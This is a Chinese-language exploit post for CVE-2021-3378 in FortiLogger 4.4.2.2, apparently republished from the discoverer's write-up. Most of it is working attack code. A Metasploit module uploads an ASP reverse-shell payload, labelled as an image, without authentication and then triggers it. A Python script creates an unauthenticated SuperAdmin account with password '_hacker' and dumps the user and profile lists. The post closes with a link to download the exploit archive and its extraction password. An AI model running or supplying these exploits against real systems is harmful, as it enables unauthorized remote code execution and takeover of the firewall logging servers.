CVE-2021-3378未经身份验证任意文件上传漏洞exp

CVE-2021-3378未经身份验证任意文件上传漏洞exp

漏洞简介

RZK Fortilogger是土耳其RZK公司的一个可为Windows系统上FortiGate防火墙进行即时状态跟踪,日志记录,搜索/过滤,报告和热点等功能的建站系统。

FortiLogger 4.4.2.2 存在安全漏洞,该漏洞源于受任意文件上传的影响。

该模块通过不安全的POST请求利用未经身份验证的任意文件上传。它已在Windows 10企业版4.4.2.2中进行测试。

更多详细信息:erberkan.github.io/2021/cve-2021-3378/

POC:

漏洞发现

在“热点设置” 下上传公司徽标时发现了此漏洞http://<IP>:5000/config/hotspotsettings)。可以向匿名用户发送没有任何身份验证或会话标头的文件,但POST要求是/Config/SaveUploadedHotspotLogoFile

文件在 C:\Program Files\RZK\Fortilogger\Web\Assets\temp\hotspot\img 名称下上传,而没有控制文件扩展名或内容。

使用此漏洞,可以上传恶意文件并访问运行该应用程序的远程服务器。

漏洞利用

我现在在版本4.4.2.2上发现并测试了此漏洞。因此,首先检查应用程序的版本。该应用程序具有一个API,该API可以通过POST请求来获取有关该应用程序的一些信息/shared/GetProductInfo。我只得到它的版本号。

def check_product_info
  res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
    'method' => 'POST',
    'data' => '',
    'headers' => {
      'Accept' => 'application/json, text/javascript, */*; q=0.01',
      'Accept-Language' => 'en-US,en;q=0.5',
      'Accept-Encoding' => 'gzip, deflate',
      'X-Requested-With' => 'XMLHttpRequest'
    }
  )
end

def check
  begin
    res = check_product_info
    if res && res.code == 200
      if JSON.parse(res.body)['Version'] == '4.4.2.2'
        Exploit::CheckCode::Vulnerable
      else
        Exploit::CheckCode::Safe
      end
    end
  rescue JSON::ParserError
    Exploit::CheckCode::Safe
  end
end

生成ASP反向TCP有效负载

def create_payload
  Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end

下面的部分将有效负载上传到目标系统,我们已经知道文件位于/Assets/temp/hotspot/img/logohotspot.asp并触发它进行反向连接;

def exploit
  begin
    print_good('Generate Payload !')
    data = create_payload

    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"b3r.asp\"\r\n"
    post_data << "Content-Type: image/png\r\n"
    post_data << "\r\n#{data}\r\n"
    post_data << "--#{boundary}\r\n"

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => post_data,
      'headers' => {
        'Accept' => 'application/json',
        'Accept-Language' => 'en-US,en;q=0.5',
        'X-Requested-With' => 'XMLHttpRequest'
      }
    )
    if res && res.code == 200
      if JSON.parse(res.body)['Message'] == 'Error in saving file'
        print_error('Error for upload payload..')
      else
        print_good('Payload has been uploaded !')

        handler

        print_status('Executing payload...')
        send_request_cgi({
          'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
          'method' => 'GET'
        }, 5)
      end
    end
  end
end

奖金

此外,该软件还具有2个漏洞,信息泄露和无需任何授权或会话标头即可创建用户的漏洞。这是漏洞利用。

python3 fortilogger_vuln.py 

FortiLogger | Log and Report System - v4.4.2.2
Remote SuperAdmin Account Creation Vulnerability / Information Disclosure

Berkan Er <b3rsec@protonmail.com>
@erberkan

Usage:
python3 fortilogger_vuln.py < IP > < PORT > < CREATE USER {TRUE / FALSE} >

IP:	IP Address of FortiLogger host
PORT:	Port number of FortiLogger host
TRUE:	Create User
FALSE:	Show Product Infos

Example: python3 fortilogger_vuln.py 192.168.1.10 5000 TRUE

# Exploit Title: FortiLogger - Remote SuperAdmin Account Creation Vulnerability / Information Disclosure
# Date: 30-01-2021
# Exploit Author: Berkan Er
# Vendor Homepage: https://www.fortilogger.com/
# Version: 4.4.2.2
# Tested on: Windows 10 Enterprise
# A remote attacker can be create an user with SuperAdmin profile

#!/usr/bin/python3

import argparse
import string
import sys
from random import random

import requests
import json

banner = '''
FortiLogger | Log and Report System - v4.4.2.2
Remote SuperAdmin Account Creation Vulnerability / Information Disclosure

Berkan Er <b3rsec@protonmail.com>
@erberkan
'''

commonHeaders = {
    'Content-type': 'application/json',
    'Accept': 'application/json, text/javascript, */*; q=0.01',
    'X-Requested-With': 'XMLHttpRequest'
}



def getProductInfo(host, port, flag):
    response = requests.post('http://' + host + ':' + port + '/shared/GetProductInfo', data={}, headers=commonHeaders)

    print("[*] Status code: ", response.status_code)
    print("[*] Product Version: ", response.json()['Version'])
    info_json = json.dumps(response.json(), indent=2)

    response_1 = requests.post('http://' + host + ':' + port + '/User/getUsers', data={}, headers=commonHeaders)
    user_json = json.dumps(response_1.json(), indent=2)

    profiles_payload = '''{
        'id':'all'
        }'''

    response_2 = requests.post('http://' + host + ':' + port + '/User/getProfile', data=profiles_payload, headers=commonHeaders)
    profiles_json = json.dumps(response_2.json(), indent=2)

    if flag:
        print("\n*** Product Infos=\n" + info_json)
        print("\n*** Profiles=\n" + profiles_json)
        print("\n*** Users=\n" + user_json)
        
    if response.json()['Version'] == '4.4.2.2':
        print("[+] It seems vulnerable !")
        return True
    else:
        print("[!] It doesn't vulnerable !")
        return False


def createSuperAdmin(host, port):

    payload = '''{
        '_profilename':'superadmin_profile', 
        '_username': '_hacker', 
        '_password': '_hacker', 
        '_fullname':'', 
        '_email':''
        }'''

    response = requests.post('http://' + host + ':' + port + '/User/saveUser', data=payload, headers=commonHeaders)
    print("[*] STAUTS CODE:", response.status_code)
    print("[!] User has been created ! \nUsername: _hacker\nPassword: _hacker")

    response_1 = requests.post('http://' + host + ':' + port + '/User/getUsers', data={}, headers=commonHeaders)
    json_formatted_str = json.dumps(response_1.json(), indent=2)
    print("\n*** Users=\n" + json_formatted_str)


def main():
    print(banner)
    
    try:
        host = sys.argv[1]
        port = sys.argv[2]
        action = sys.argv[3]

        if action == 'TRUE':
            if getProductInfo(host, port, False):
                createSuperAdmin(host, port)
        else:
            getProductInfo(host, port, True)

        print("KTHNXBYE!")

    except:
        print("Usage:\npython3 fortilogger_vuln.py < IP > < PORT > < CREATE USER {TRUE / FALSE} >\n\nIP:\tIP "
              "Address of FortiLogger host\nPORT:\tPort number of FortiLogger host\nTRUE:\tCreate User\nFALSE:\tShow Product "
              "Infos")
        print("\nExample: python3 fortilogger_vuln.py 192.168.1.10 5000 TRUE\n")


if __name__ == "__main__":
    main()

POC

CVE-2021-3378 exp下载地址

雨苁网盘:
https://w.ddosi.workers.dev
解压密码: www.ddosi.com